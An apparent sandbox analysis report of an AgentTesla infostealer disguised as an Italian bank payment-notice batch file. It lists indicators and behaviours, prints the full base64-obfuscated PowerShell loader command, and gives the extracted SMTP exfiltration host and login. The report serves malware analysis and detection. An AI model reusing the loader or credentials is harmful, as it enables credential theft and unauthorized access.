Analysis
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max time kernel
95s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
27-03-2024 10:30
Static task
static1
Behavioral task
behavioral1
Sample
Avviso di Pagamento_Credit Agricole_Pdf.bat
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
Avviso di Pagamento_Credit Agricole_Pdf.bat
Resource
win10v2004-20231215-en
General
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Target
Avviso di Pagamento_Credit Agricole_Pdf.bat
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Size
191KB
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MD5
2effd68ca29fb310fbe40749eb566d0e
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SHA1
bb23473d4be94830371bd52afe37cb1b59609ed5
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SHA256
463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec
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SHA512
994de4787401c0e5ce032be67adb93c5e9aa6aa4c510ab19aa1f41a75808b927428e779f2479542465c738eff5138c94fa3cb71da6835957cfb9531f9afa12c6
-
SSDEEP
3072:4/IpFBvxdugvwReuVhjNCHhGHkTjV/bnHVeLYvElkMp2GMkCTH3djFoll4MPUQTZ:4/APubReSj460jhHkLYvEAP3soMPxoWV
Malware Config
Extracted
Protocol: smtp- Host:
mail.agagroup.lv - Port:
587 - Username:
[email protected] - Password:
@Aga#Group777!
Extracted
agenttesla
Protocol: smtp- Host:
mail.agagroup.lv - Port:
587 - Username:
[email protected] - Password:
@Aga#Group777! - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat powershell.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 16 api.ipify.org 22 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4604 set thread context of 5064 4604 powershell.exe RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exepid process 4408 powershell.exe 4408 powershell.exe 4604 powershell.exe 4604 powershell.exe 5064 RegAsm.exe 5064 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exedescription pid process Token: SeDebugPrivilege 4408 powershell.exe Token: SeDebugPrivilege 4604 powershell.exe Token: SeDebugPrivilege 5064 RegAsm.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
cmd.execmd.exepowershell.exedescription pid process target process PID 3048 wrote to memory of 3272 3048 cmd.exe cmd.exe PID 3048 wrote to memory of 3272 3048 cmd.exe cmd.exe PID 3272 wrote to memory of 4408 3272 cmd.exe powershell.exe PID 3272 wrote to memory of 4408 3272 cmd.exe powershell.exe PID 3272 wrote to memory of 4408 3272 cmd.exe powershell.exe PID 3272 wrote to memory of 4604 3272 cmd.exe powershell.exe PID 3272 wrote to memory of 4604 3272 cmd.exe powershell.exe PID 3272 wrote to memory of 4604 3272 cmd.exe powershell.exe PID 4604 wrote to memory of 5064 4604 powershell.exe RegAsm.exe PID 4604 wrote to memory of 5064 4604 powershell.exe RegAsm.exe PID 4604 wrote to memory of 5064 4604 powershell.exe RegAsm.exe PID 4604 wrote to memory of 5064 4604 powershell.exe RegAsm.exe PID 4604 wrote to memory of 5064 4604 powershell.exe RegAsm.exe PID 4604 wrote to memory of 5064 4604 powershell.exe RegAsm.exe PID 4604 wrote to memory of 5064 4604 powershell.exe RegAsm.exe PID 4604 wrote to memory of 5064 4604 powershell.exe RegAsm.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Avviso di Pagamento_Credit Agricole_Pdf.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Avviso di Pagamento_Credit Agricole_Pdf.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY2hyb21lLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"3⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
1KB
MD54280e36a29fa31c01e4d8b2ba726a0d8
SHA1c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
16KB
MD50ce5d0f0df641618c9a9b7ffe1c33612
SHA19e8a22dff712d2011b606c7edc6aa8445066d1fd
SHA2569e2d04b82b13f97698c7f4bd709ea5d2c171a6e170831bc678e87aa1fa73be82
SHA512a3bb383c254e62192d95ae46b05691fce7672951d5a160e47dbb20637dd7af043c731e046242adddc0c8060fb9c8854e23438f9cce0939e7695aa516bd855d89
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_50yddcnc.e52.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\chrome.batFilesize
191KB
MD52effd68ca29fb310fbe40749eb566d0e
SHA1bb23473d4be94830371bd52afe37cb1b59609ed5
SHA256463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec
SHA512994de4787401c0e5ce032be67adb93c5e9aa6aa4c510ab19aa1f41a75808b927428e779f2479542465c738eff5138c94fa3cb71da6835957cfb9531f9afa12c6
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C:\Users\Admin\chrome.ps1Filesize
1KB
MD51d6288e218ce9fed4e703ef5aa2e6c08
SHA139c5fbc0b8931bab67c40dc3f45be696ea3beb90
SHA256d0832834c002fe7e915e8c78b21642df8ab90dd778e77f8c9dfbf93d9a517ae6
SHA512c45d64b2aede293f414e1325d711df3314cf9527a62dbb362cf4210b8eeedcb8232feca70bf6a548cc865c9598c02620667b4920a049c9f50d7d7c0eda68507c
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memory/4408-11-0x00000000063F0000-0x0000000006456000-memory.dmpFilesize
408KB
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memory/4408-22-0x0000000008200000-0x000000000887A000-memory.dmpFilesize
6.5MB
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memory/4408-7-0x0000000005AE0000-0x0000000005B02000-memory.dmpFilesize
136KB
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memory/4408-6-0x0000000005D50000-0x0000000006378000-memory.dmpFilesize
6.2MB
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memory/4408-19-0x0000000006460000-0x00000000067B4000-memory.dmpFilesize
3.3MB
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memory/4408-20-0x00000000068B0000-0x00000000068CE000-memory.dmpFilesize
120KB
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memory/4408-21-0x00000000068F0000-0x000000000693C000-memory.dmpFilesize
304KB
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memory/4408-8-0x0000000005C80000-0x0000000005CE6000-memory.dmpFilesize
408KB
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memory/4408-23-0x0000000006DD0000-0x0000000006DEA000-memory.dmpFilesize
104KB
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memory/4408-27-0x0000000075070000-0x0000000075820000-memory.dmpFilesize
7.7MB
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memory/4408-5-0x0000000003520000-0x0000000003530000-memory.dmpFilesize
64KB
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memory/4408-4-0x0000000003520000-0x0000000003530000-memory.dmpFilesize
64KB
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memory/4408-3-0x0000000075070000-0x0000000075820000-memory.dmpFilesize
7.7MB
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memory/4408-2-0x00000000034C0000-0x00000000034F6000-memory.dmpFilesize
216KB
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memory/4604-40-0x00000000056B0000-0x0000000005A04000-memory.dmpFilesize
3.3MB
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memory/4604-55-0x0000000075070000-0x0000000075820000-memory.dmpFilesize
7.7MB
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memory/4604-43-0x0000000006D90000-0x0000000006E26000-memory.dmpFilesize
600KB
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memory/4604-44-0x0000000005F80000-0x0000000005FA2000-memory.dmpFilesize
136KB
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memory/4604-45-0x00000000073E0000-0x0000000007984000-memory.dmpFilesize
5.6MB
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memory/4604-29-0x0000000075070000-0x0000000075820000-memory.dmpFilesize
7.7MB
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memory/4604-47-0x0000000005530000-0x0000000005594000-memory.dmpFilesize
400KB
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memory/4604-49-0x0000000004830000-0x000000000483A000-memory.dmpFilesize
40KB
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memory/4604-50-0x0000000077A91000-0x0000000077BB1000-memory.dmpFilesize
1.1MB
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memory/4604-30-0x0000000004690000-0x00000000046A0000-memory.dmpFilesize
64KB
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memory/5064-51-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
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memory/5064-54-0x0000000004F50000-0x0000000004F60000-memory.dmpFilesize
64KB
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memory/5064-53-0x0000000075070000-0x0000000075820000-memory.dmpFilesize
7.7MB
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memory/5064-56-0x0000000006660000-0x00000000066FC000-memory.dmpFilesize
624KB
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memory/5064-57-0x00000000067A0000-0x0000000006832000-memory.dmpFilesize
584KB
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memory/5064-58-0x0000000006650000-0x000000000665A000-memory.dmpFilesize
40KB
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memory/5064-59-0x0000000075070000-0x0000000075820000-memory.dmpFilesize
7.7MB
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memory/5064-60-0x0000000004F50000-0x0000000004F60000-memory.dmpFilesize
64KB